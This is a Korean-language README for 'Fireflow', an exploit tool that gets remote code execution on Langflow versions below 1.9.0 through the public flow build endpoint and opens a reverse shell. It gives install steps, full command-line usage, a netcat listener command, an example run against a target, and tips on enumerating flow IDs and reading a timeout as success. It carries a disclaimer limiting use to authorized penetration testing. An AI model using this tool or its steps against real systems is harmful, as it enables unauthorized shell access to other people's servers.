Fireflow RCE 익스플로잇

Langflow의 build_public_tmp 엔드포인트를 통한 원격 코드 실행.
대상에 리버스 쉘을 실행하는 공개 플로우 빌드 엔드포인트를 통한 익스플로잇.

요구 사항

• Python 3.8+
• httpx 라이브러리

설치:

pip install httpx

사용법

python exploit.py -u <BASE_URL> -l <LHOST> -p <LPORT> --flow-id <FLOW_ID> --client-id <CLIENT_ID>

인자

• -u, --url : Langflow 인스턴스의 기본 URL (예: https://flow.example.com/)
• -l, --lhost : 리버스 쉘을 받을 IP 주소
• -p, --lport : 리버스 쉘을 위한 리스닝 포트
• -f --flow-id : 대상 플로우 ID (필수 – /api/v1/flows/ 또는 UI에서 확인)
• -c --client-id : 세션 식별을 위한 client_id 쿠키 값

예제

1. 리스너 시작:

   root@kitploit:~

   nc -nlvp 9001
   

2. 익스플로잇 실행:

   root@kitploit:~

   python exploit.py -u https://flow.target.local/ -l 127.0.0.1 -p 9001 --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --client-id 8a6bf601-0263-480b-aa81-9a6389ca9e5d
   

3. 성공하면 대화형 bash 쉘을 얻습니다.

중요 참고 사항

• ReadTimeout은 정상입니다 – 쉘이 HTTP 요청을 차단하기 때문에 서버가 응답하지 않을 수 있습니다. 리스너에서 연결이 확인되면 익스플로잇이 작동한 것입니다.
• 유효한 flow-id가 필요합니다. GET /api/v1/flows를 통해 모든 플로우를 나열하거나 브라우저 URL에서 복사하세요.
• 이 도구는 승인된 침투 테스트 및 교육 목적으로만 사용해야 합니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

영향을 받는 버전

• 사용자 정의 컴포넌트 RCE 수정 이전의 Langflow 버전 <1.9.0

라이선스

MIT – 교육 및 윤리적 보안 연구용.